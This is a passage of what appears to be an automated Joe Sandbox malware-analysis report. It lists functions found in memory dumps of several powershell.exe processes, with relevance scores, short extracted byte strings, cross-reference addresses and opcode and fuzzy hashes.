Opcode ID: 6441c277fba94d88b7bb4ccb72be5c492fdda7f45dd7844d5aa83ca49a922360
Instruction ID: d50e4e6dfd210fa761be4370bac9fce6fc99c06ad877f8152951deffa6e76443
Opcode Fuzzy Hash: 6441c277fba94d88b7bb4ccb72be5c492fdda7f45dd7844d5aa83ca49a922360
Instruction Fuzzy Hash: CC417831F052529FCB909B68890466BBFE2AF81234F14806EE215CF291CA32EC55C7E2

Function 06FC09C0 Relevance: 6.4, Strings: 5, Instructions: 133COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06FC0A6A
r5l, xrefs: 06FC0A3D
4'^q, xrefs: 06FC0A76
r5l, xrefs: 06FC0A33
fcq, xrefs: 06FC0A53

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: fcq$4'^q$4'^q$r5l$r5l
API String ID: 0-3304088077
Opcode ID: c34854103b1d103f6d89b3e28c8a6803a810c4f9b263f56191668c284d6516c6
Instruction ID: 42d1333ebe4e02b9c80c24247f10e7b237d44ebf9dd19139cd40342d5fa1038c
Opcode Fuzzy Hash: c34854103b1d103f6d89b3e28c8a6803a810c4f9b263f56191668c284d6516c6
Instruction Fuzzy Hash: D5413430F04256CFCB549B68D9146AB7BB2AFC5224F1480AED149CF252DE32CC86C7E2

Function 06FC2E9F Relevance: 6.3, Strings: 5, Instructions: 82COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06FC2F31
J6l, xrefs: 06FC2FB3
tP^q, xrefs: 06FC2F87
843l, xrefs: 06FC2F14
J6l, xrefs: 06FC2F49

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$843l$tP^q$J6l$J6l
API String ID: 0-404919357
Opcode ID: 75ad6e1ec4ff44ef5fbe8318cdc5f4514a772d295ac14266441320ce978bcc3f
Instruction ID: f3614594a836f837ee4d4c9affc55b5bfe10b6f7c4fe9dfb5a4c0e9177f97f1c
Opcode Fuzzy Hash: 75ad6e1ec4ff44ef5fbe8318cdc5f4514a772d295ac14266441320ce978bcc3f
Instruction Fuzzy Hash: DB219136F0420BDFDBA48F558645B66BBA2EB80770F18C0AED5146F255C772CA40CBE2

Function 06FC21AF Relevance: 6.3, Strings: 5, Instructions: 78COMMON

Download Yara Rule

Strings

$^q, xrefs: 06FC2200
$^q, xrefs: 06FC221F
$^q, xrefs: 06FC21C8
tP^q, xrefs: 06FC2264
$^q, xrefs: 06FC21E4

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$$^q$$^q$$^q$$^q
API String ID: 0-324510305
Opcode ID: fb4f26e562f1e9e1367329320176b32776d4f0b76fe8603f7307470bc102ed81
Instruction ID: 5c39c24df9868816360a4f0c1c9a920795184fe07c414175c6fe569fc60f2ecd
Opcode Fuzzy Hash: fb4f26e562f1e9e1367329320176b32776d4f0b76fe8603f7307470bc102ed81
Instruction Fuzzy Hash: D221F832E20216DFEB648F55CA94EA9B7F4EF44A30B15416EE9049F311CB31DE44C7A1

Function 06FC2D00 Relevance: 5.1, Strings: 4, Instructions: 113COMMON

Download Yara Rule

Strings

r5l, xrefs: 06FC2D73
4'^q, xrefs: 06FC2DA6
4'^q, xrefs: 06FC2DB2
r5l, xrefs: 06FC2D7D

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$r5l$r5l
API String ID: 0-2056981106
Opcode ID: 9c95c368a3bbd01fcddc6c561b96461f582fdbf814c2ed2947c8cab2dfe1bd75
Instruction ID: a20abb7e4b5d4d7972f9cf2a6e189321aed7da1b2d2a3f3b1dc95651acfbc43c
Opcode Fuzzy Hash: 9c95c368a3bbd01fcddc6c561b96461f582fdbf814c2ed2947c8cab2dfe1bd75
Instruction Fuzzy Hash: 8E31F331F042078FCB69DB78D5146AABBF2EF85221B1484BED545DB221DB31CA85C7D1

Function 06FC4430 Relevance: 5.1, Strings: 4, Instructions: 66COMMON

Download Yara Rule

Strings

(_^q, xrefs: 06FC445B
(_^q, xrefs: 06FC443E
(_^q, xrefs: 06FC4479
(_^q, xrefs: 06FC4465

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: e6f645453d648a8f230a85604e7802d9d2186daa37faad58bbcdca042ea66a4a
Instruction ID: 871e5d53b6313eac3a9e4d958a5f0c415421469a03ff6fd047436c20ba98f66c
Opcode Fuzzy Hash: e6f645453d648a8f230a85604e7802d9d2186daa37faad58bbcdca042ea66a4a
Instruction Fuzzy Hash: A61123BAF102128BC7189E6E9120066F7EABFD5634338C47FD915CB350DA72D806CBA0

Function 06FC347F Relevance: 5.1, Strings: 4, Instructions: 60COMMON

Download Yara Rule

Strings

<c(k, xrefs: 06FC3503
4'^q, xrefs: 06FC3533
J6l, xrefs: 06FC3511
J6l, xrefs: 06FC34D7

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$<c(k$J6l$J6l
API String ID: 0-2950874883
Opcode ID: ee617cf68e5c1578b3e583e0caca6558539788a8dcbe30412aa8c2839edd143e
Instruction ID: 36eb6cae6b6dcda50f82b0caedcf6caca2775fac2aa5b7d398c971dbac34a233
Opcode Fuzzy Hash: ee617cf68e5c1578b3e583e0caca6558539788a8dcbe30412aa8c2839edd143e
Instruction Fuzzy Hash: 5B11EF77E00307DFDBA0CE0DD740666BBA4AB842B0F04C86EE9088B208D336C544CBA2

Function 06FC30AF Relevance: 5.1, Strings: 4, Instructions: 51COMMON

Download Yara Rule

Strings

J6l, xrefs: 06FC30F2
$^q, xrefs: 06FC311A
J6l, xrefs: 06FC30FE
$^q, xrefs: 06FC310E

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$J6l$J6l
API String ID: 0-1038804434
Opcode ID: 6e5ed0980c368a92dcde7e4d0febcf2807ec3a00ccca65c30775fe31e51db158
Instruction ID: 97f495583f1c350df20f16a4c4377c4e6ae2f4ef49db5a8c208260e35e893570
Opcode Fuzzy Hash: 6e5ed0980c368a92dcde7e4d0febcf2807ec3a00ccca65c30775fe31e51db158
Instruction Fuzzy Hash: E1012423E0E3825FC363422D4D20583AFB65FC2660719859BD040CF6ABCA258C09C3B2

Function 06FC442F Relevance: 5.0, Strings: 4, Instructions: 37COMMON

Download Yara Rule

Strings

(_^q, xrefs: 06FC445B
(_^q, xrefs: 06FC443E
(_^q, xrefs: 06FC4479
(_^q, xrefs: 06FC4465

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q
API String ID: 0-2697572114
Opcode ID: 9d26e203797d6730ded5d7521d86c73205b892dc5828851ba9aa1b6e3d454092
Instruction ID: d6f17a63061a192bfcafb5cb571ba678d8e85391a9b288470706ef36e1164534
Opcode Fuzzy Hash: 9d26e203797d6730ded5d7521d86c73205b892dc5828851ba9aa1b6e3d454092
Instruction Fuzzy Hash: CBF0F0BFE102129B87188E4A8520465FBFEBFD5A3437C806ED8249B350DA32E805C6A1

Function 06FC042F Relevance: 5.0, Strings: 4, Instructions: 35COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06FC047B
$^q, xrefs: 06FC0466
$^q, xrefs: 06FC045A
4'^q, xrefs: 06FC0487

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 40eff913cef26db62715d382c43b1a0c33156aefb914f740b504c22e151c4cc8
Instruction ID: 04487f28ce054ea9758e0129fe5980fe4f77e23bcda1db39af5713972f84f8a2
Opcode Fuzzy Hash: 40eff913cef26db62715d382c43b1a0c33156aefb914f740b504c22e151c4cc8
Instruction Fuzzy Hash: BBF05C21F1011ECB86BC155C2920AA741D77BD0D70334092EE241DF30CCE238D8783D6

Analysis Process: powershell.exePID: 2724, Parent PID: 1440COMMON

Executed Functions

Function 07510EF0 Relevance: 24.3, Strings: 19, Instructions: 582COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07511441
4'^q, xrefs: 07510F88
4'^q, xrefs: 0751130D
4'^q, xrefs: 07511319
4'^q, xrefs: 07511435
4'^q, xrefs: 075113C1
4'^q, xrefs: 07511594
4'^q, xrefs: 0751159E
+l, xrefs: 075114CB
tP^q, xrefs: 0751136B
$^q, xrefs: 075112BD
$^q, xrefs: 07511410
4'^q, xrefs: 07510F94
4'^q, xrefs: 07511193
4'^q, xrefs: 075113B1
+l, xrefs: 075114BD
tP^q, xrefs: 0751135F
4'^q, xrefs: 0751119F
$^q, xrefs: 07511400

Memory Dump Source

Source File: 00000015.00000002.2086667312.0000000007510000.00000040.00000800.00020000.00000000.sdmp, Offset: 07510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7510000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$+l$+l
API String ID: 0-568926544
Opcode ID: f206fccf409472c52ac53e0421d2397c1cf941d75983e6adf23a42c8caed7894
Instruction ID: b20545ce009a9912522bfab2041e88c843424f5d81d785b6c621f7fbcb57d2b8
Opcode Fuzzy Hash: f206fccf409472c52ac53e0421d2397c1cf941d75983e6adf23a42c8caed7894
Instruction Fuzzy Hash: AC1229B1F4060D8FEB148B6994406EABBE2BF85712F2484ABD605CF354DB31CD85CB91

Function 0751105C Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07511193

Memory Dump Source

Source File: 00000015.00000002.2086667312.0000000007510000.00000040.00000800.00020000.00000000.sdmp, Offset: 07510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7510000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 4f43e382cb12359aa3449d00cbede0e09b7dd70384de791cb1c20058cfd46d4e
Instruction ID: b53319444e2f4574a280e8d0e8a387034564226ab466629462a512b25ec3066c
Opcode Fuzzy Hash: 4f43e382cb12359aa3449d00cbede0e09b7dd70384de791cb1c20058cfd46d4e
Instruction Fuzzy Hash: 74310AF5F4161ECFEB208F548940AAABBA2BF45612B1685E7DA04DF211D631C984CBD1

Function 07511070 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07511193

Memory Dump Source

Source File: 00000015.00000002.2086667312.0000000007510000.00000040.00000800.00020000.00000000.sdmp, Offset: 07510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7510000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: fbe711adebee84b978895c9c9c5dccfc8a2ad5238e3388c4cc525e032e670e10
Instruction ID: 6179edfb8759280dfa4dcb5716dff61d03323544c8eb2ff95c87ec7a29100249
Opcode Fuzzy Hash: fbe711adebee84b978895c9c9c5dccfc8a2ad5238e3388c4cc525e032e670e10
Instruction Fuzzy Hash: 9D31C4F5F4161ECFEB248E95C940AAAF7A2BB45652F1684E6DA04DB210D730C984CBD1

Function 02E57380 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2044394029.0000000002E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8a730ae32ce20d57a3ecfdce6d8df5c5d47032392ada54f7f49ba6c3d6f60b4
Instruction ID: baa52bcc0b43ce20c691235586dcf27a5f4090b4936e0b7001027f8a8e188cb4
Opcode Fuzzy Hash: a8a730ae32ce20d57a3ecfdce6d8df5c5d47032392ada54f7f49ba6c3d6f60b4
Instruction Fuzzy Hash: CFD1E534A152648FC705DB68C8949AEFFF1FF8A314F1580AAE8459B362C735ED45CBA0

Function 02E57BC8 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2044394029.0000000002E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a74fd78f7ac221cbc9f2c39fb499d1713ed956ff9120bb6f9be02facc174677
Instruction ID: 4e979211c1746eeeb519277a830513f0a757927fc599294b37893bcb8f4039af
Opcode Fuzzy Hash: 1a74fd78f7ac221cbc9f2c39fb499d1713ed956ff9120bb6f9be02facc174677
Instruction Fuzzy Hash: 39D11674A512199FDB05CFA8D584AADFBB2FF89314F25C159E804AB361C731ED81CB90

Function 02E58E1C Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2044394029.0000000002E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d2f50110970627b1d596e48ed35cc0bcb56825a328e35ea83178dd1921f8ad
Instruction ID: 9748b42fe280a19a6a4f05000ab204344b85183fdede47b26dbb4f3b312f1609
Opcode Fuzzy Hash: f8d2f50110970627b1d596e48ed35cc0bcb56825a328e35ea83178dd1921f8ad
Instruction Fuzzy Hash: D041B135A11254DFCB14CFB4D8819ADB7B3FF49214B1984A9E841AF362CB35ED85CB50

Function 02E52DC3 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2044394029.0000000002E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d7a060bb45612c22b59decdd4091a9e2d5137e1b094625eaa5b3e68d0e25d31
Instruction ID: c3db21698a30f1c0c729963e6a5cd964614517ba949df6a28bb64e3ca7ca9999
Opcode Fuzzy Hash: 0d7a060bb45612c22b59decdd4091a9e2d5137e1b094625eaa5b3e68d0e25d31
Instruction Fuzzy Hash: 5F2192347402448FCB05DB6CD490AAABBF6EFC9324B1584AAE545DB365DB35EC42CBA0

Function 02E57F08 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2044394029.0000000002E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91fdb7dc7643fe9a6bb522c3ba84e573a508bee7f425ae68c08040763b81988d
Instruction ID: d340e35d665852ef38a14182929c3b8cf2acd06ab2c878a35a938f9732e374ae
Opcode Fuzzy Hash: 91fdb7dc7643fe9a6bb522c3ba84e573a508bee7f425ae68c08040763b81988d
Instruction Fuzzy Hash: BC21E474A006199FCB04CF89C5849AAFBF1FF48310B258569E919EB365C731EC51CBA0

Function 02C4D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2037718493.0000000002C4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2c4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b698c65c8a9c87017965e9a25f77007910c055d98b15b91f78016e086169804b
Instruction ID: e222884c077bb61c1457a2546494c9a5a497bf1586b88e1468a96e3d9a752fa0
Opcode Fuzzy Hash: b698c65c8a9c87017965e9a25f77007910c055d98b15b91f78016e086169804b
Instruction Fuzzy Hash: DF01406140E3C05ED7128B258894752BFB4EF47224F1DC1DBD8898F1A3C6699845C7B2

Function 02C4D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2037718493.0000000002C4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02C4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2c4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6198b22de03178e9f8ecdfccbb29bc6c73cf67b438c5c33d13461298b97239e
Instruction ID: 6c7679c5d50e5425a43b7a368472ed63d51403e8e87cf370f2c72670cf19173b
Opcode Fuzzy Hash: b6198b22de03178e9f8ecdfccbb29bc6c73cf67b438c5c33d13461298b97239e
Instruction Fuzzy Hash: 37012B314083409EE7105E26CDC4767BF98EF81324F08C52AEC0A0F146CB79E981C6F1

Function 02E57143 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2044394029.0000000002E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20fd59267921ff1c748376ed3327cb82c06b986d09beba6aa2bf2e3867bfafea
Instruction ID: 6c76138c578fe78477c05972639a6a7c4af8651b90b5a428d9c9136f35353d6c
Opcode Fuzzy Hash: 20fd59267921ff1c748376ed3327cb82c06b986d09beba6aa2bf2e3867bfafea
Instruction Fuzzy Hash: 4D012875E002098FCB40DF68E581AAEBBF1FF49310F6041A9E505DB325E7319A85CBA0

Function 02E57173 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2044394029.0000000002E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3629e5e77af72593b0df61c5c49bc2b99a786e3cfb08ec197b4b4612896acc2
Instruction ID: 2fcd99f62ccdef91d1991cfb5c15005922cd16df35dcae64b3cdcc6a384eacf9
Opcode Fuzzy Hash: c3629e5e77af72593b0df61c5c49bc2b99a786e3cfb08ec197b4b4612896acc2
Instruction Fuzzy Hash: CBF0E774E5020A8FC780DF68C585AAEBFF1BF09210F6041A9E909EB321D7309955CB91

Function 02E52D76 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2044394029.0000000002E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10d3a33814cfb70a04169260de1dafc0fce181dab0598993fa2f0b8dcc80220d
Instruction ID: fb09b7d6fa65bb06bd3b1d8d3a4d3c50a2d1d2e7012336a9d84ab9b0617eacbf
Opcode Fuzzy Hash: 10d3a33814cfb70a04169260de1dafc0fce181dab0598993fa2f0b8dcc80220d
Instruction Fuzzy Hash: 70F0DA75A001159FCB15CF9DD990AEEF7B1FF88324F208159E515A72A1C736AC52CB50

Function 02E57178 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2044394029.0000000002E50000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_2e50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5882cad8300fc31ddcb62f9ea1787a50e290794f47a36f83e027741d7ceaef88
Instruction ID: 03d02758f33d83a73e622b780c0f8ba5ceba629aff0b9e54007973dcbf03d79e
Opcode Fuzzy Hash: 5882cad8300fc31ddcb62f9ea1787a50e290794f47a36f83e027741d7ceaef88
Instruction Fuzzy Hash: E5F0A974E0020A8FC780DF68C585AAEBBF1FF49310F5051A9D909DB325D730A955CB91

Non-executed Functions

Function 07510598 Relevance: 10.4, Strings: 8, Instructions: 376COMMON

Download Yara Rule

Strings

=, xrefs: 075107F0
4'^q, xrefs: 07510732
$^q, xrefs: 07510873
4'^q, xrefs: 07510726
$^q, xrefs: 0751084F
+l, xrefs: 0751092B
$^q, xrefs: 0751087F
+l, xrefs: 0751091D

Memory Dump Source

Source File: 00000015.00000002.2086667312.0000000007510000.00000040.00000800.00020000.00000000.sdmp, Offset: 07510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7510000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$=$$^q$$^q$$^q$+l$+l
API String ID: 0-1039553979
Opcode ID: 2070f27131b7974ad17ba3b8cdf199941e03f5716eff4c4651fb7de5ef44a369
Instruction ID: 815bf467542d3e1e7d432d85a09cf801d06ee638ba3112f8e752c7866c3fa805
Opcode Fuzzy Hash: 2070f27131b7974ad17ba3b8cdf199941e03f5716eff4c4651fb7de5ef44a369
Instruction Fuzzy Hash: 25C17DB5B042458FEB149B399450ABBBBE2BFC5212F24847BD50DCB3D5DA31C885CBA1

Function 07511260 Relevance: 6.4, Strings: 5, Instructions: 105COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0751130D
4'^q, xrefs: 07511435
$^q, xrefs: 075112BD
tP^q, xrefs: 0751135F
$^q, xrefs: 07511400

Memory Dump Source

Source File: 00000015.00000002.2086667312.0000000007510000.00000040.00000800.00020000.00000000.sdmp, Offset: 07510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7510000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$$^q$$^q
API String ID: 0-1449624226
Opcode ID: b9ce31a91a7ac5f267b1acdda1f4f702ee28ede3b3d6e733fb553231c363a7ab
Instruction ID: c58186b62e8f88d2b1804bd8e31835a0622f8a97e3d3eba3ad32958afb0a12de
Opcode Fuzzy Hash: b9ce31a91a7ac5f267b1acdda1f4f702ee28ede3b3d6e733fb553231c363a7ab
Instruction Fuzzy Hash: 2331E4B0E00A0EDBFB248E15C444BE9B7B2BF85B22F14C5E6DA159F258D772D841CB91

Function 07510360 Relevance: 5.0, Strings: 4, Instructions: 50COMMON

Download Yara Rule

Strings

$^q, xrefs: 075103B6
4'^q, xrefs: 075103D7
$^q, xrefs: 075103AA
4'^q, xrefs: 075103CB

Memory Dump Source

Source File: 00000015.00000002.2086667312.0000000007510000.00000040.00000800.00020000.00000000.sdmp, Offset: 07510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7510000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 953a6d06584d738724e27339193f6491cb5757e1ddb3e6dee176c4c83bba2167
Instruction ID: b2ac9ccfa12d639d1d44e1abd735d218f073d6e33174628935098ad88554cdf4
Opcode Fuzzy Hash: 953a6d06584d738724e27339193f6491cb5757e1ddb3e6dee176c4c83bba2167
Instruction Fuzzy Hash: E301F761B493894FD32B167819201956FB26FC352132D49DBC088CF397CD154C8AC392

Analysis Process: powershell.exePID: 3396, Parent PID: 1440COMMON

Executed Functions

Function 04B2CF71 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2147179617.0000000004B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_4b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dbbd95da4f913f4b0e476f5b49844b107bb94b7c93f4eb41fb981584356a766
Instruction ID: 636f7b068924eda739ece237574d80c80eb9f20bdb36c026599339a057ae5dec
Opcode Fuzzy Hash: 9dbbd95da4f913f4b0e476f5b49844b107bb94b7c93f4eb41fb981584356a766
Instruction Fuzzy Hash: DF919475B007145FEB1AEBB4C8145AEBBB3DF84614B00891DD14AAF350DF78AD0A8BD6

Function 04B2CF90 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2147179617.0000000004B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_4b20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c21997542a611fa96f3ae66d38f3a0e4b8d45e66481b0215bc0f7068bbed053c
Instruction ID: c585585fd53929ab44523ecd1b4325ae35ef417429224074b9f0f23bd9fdc1ad
Opcode Fuzzy Hash: c21997542a611fa96f3ae66d38f3a0e4b8d45e66481b0215bc0f7068bbed053c
Instruction Fuzzy Hash: 2A916575B006145BEB19EFB4C4145AEBAF3EF84614B00891DD14AAB350DF78AD0A8BD6

Function 079F3178 Relevance: 23.4, Strings: 18, Instructions: 865COMMON

Download Yara Rule

Strings

J6l, xrefs: 079F3596
4'^q, xrefs: 079F3605
J6l, xrefs: 079F3235
J6l, xrefs: 079F3241
+l, xrefs: 079F3482
4'^q, xrefs: 079F3611
r5l, xrefs: 079F3547
4'^q, xrefs: 079F3407
+l, xrefs: 079F3474
J6l, xrefs: 079F33E5
J6l, xrefs: 079F35E2
4'^q, xrefs: 079F33FB
J6l, xrefs: 079F339F
r5l, xrefs: 079F3551
J6l, xrefs: 079F35EE
<c(k, xrefs: 079F33CB
J6l, xrefs: 079F31EF
J6l, xrefs: 079F33D9

Memory Dump Source

Source File: 00000017.00000002.2191999145.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<c(k$J6l$J6l$J6l$J6l$J6l$J6l$J6l$J6l$J6l$r5l$r5l$+l$+l
API String ID: 0-3212000763
Opcode ID: 1aff6ba65dfcae78239744dd30728de0a99257238b808a736f89c38846f82063
Instruction ID: 8d9b094814b2270ec9990ea189c0087d8351b8b996347f4a6e324ced00bc9a97
Opcode Fuzzy Hash: 1aff6ba65dfcae78239744dd30728de0a99257238b808a736f89c38846f82063
Instruction Fuzzy Hash: C45299F5B00206DFCB10DF69D8416AABBE9AF86328F14847AD605CB351DB39CD45CBA1

Function 079F2538 Relevance: 20.6, Strings: 16, Instructions: 592COMMON

Download Yara Rule

Strings

$^q, xrefs: 079F2978
$^q, xrefs: 079F29B0
r5l, xrefs: 079F25B5
4'^q, xrefs: 079F25EA
4'^q, xrefs: 079F2776
$^q, xrefs: 079F2994
r5l, xrefs: 079F25AB
4'^q, xrefs: 079F25DE
$^q, xrefs: 079F29CF
tP^q, xrefs: 079F2A20
<-'k, xrefs: 079F273B
tP^q, xrefs: 079F2A14
L5l, xrefs: 079F284A
$^q, xrefs: 079F29DB
4'^q, xrefs: 079F276A
$^q, xrefs: 079F29BC

Memory Dump Source

Source File: 00000017.00000002.2191999145.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<-'k$tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$L5l$r5l$r5l
API String ID: 0-3568467770
Opcode ID: 4c4685c71b3b19a963c23b9418e70e52b48726cb99e891ea3567e6ab01b44611
Instruction ID: edf6db4720a6bddbedf9c3c11782b1ae469b8e9e46849cad168f59dcab346a11
Opcode Fuzzy Hash: 4c4685c71b3b19a963c23b9418e70e52b48726cb99e891ea3567e6ab01b44611
Instruction Fuzzy Hash: 451279B1B042159FC7258B79D800BAEBBE9BF86224F1484BBD605CF392DA31DC45C7A1

Function 079F3EC0 Relevance: 14.3, Strings: 11, Instructions: 540COMMON

Download Yara Rule

Strings

843l, xrefs: 079F3FFB
4'^q, xrefs: 079F4014
(o^q, xrefs: 079F41D3
tP^q, xrefs: 079F4068
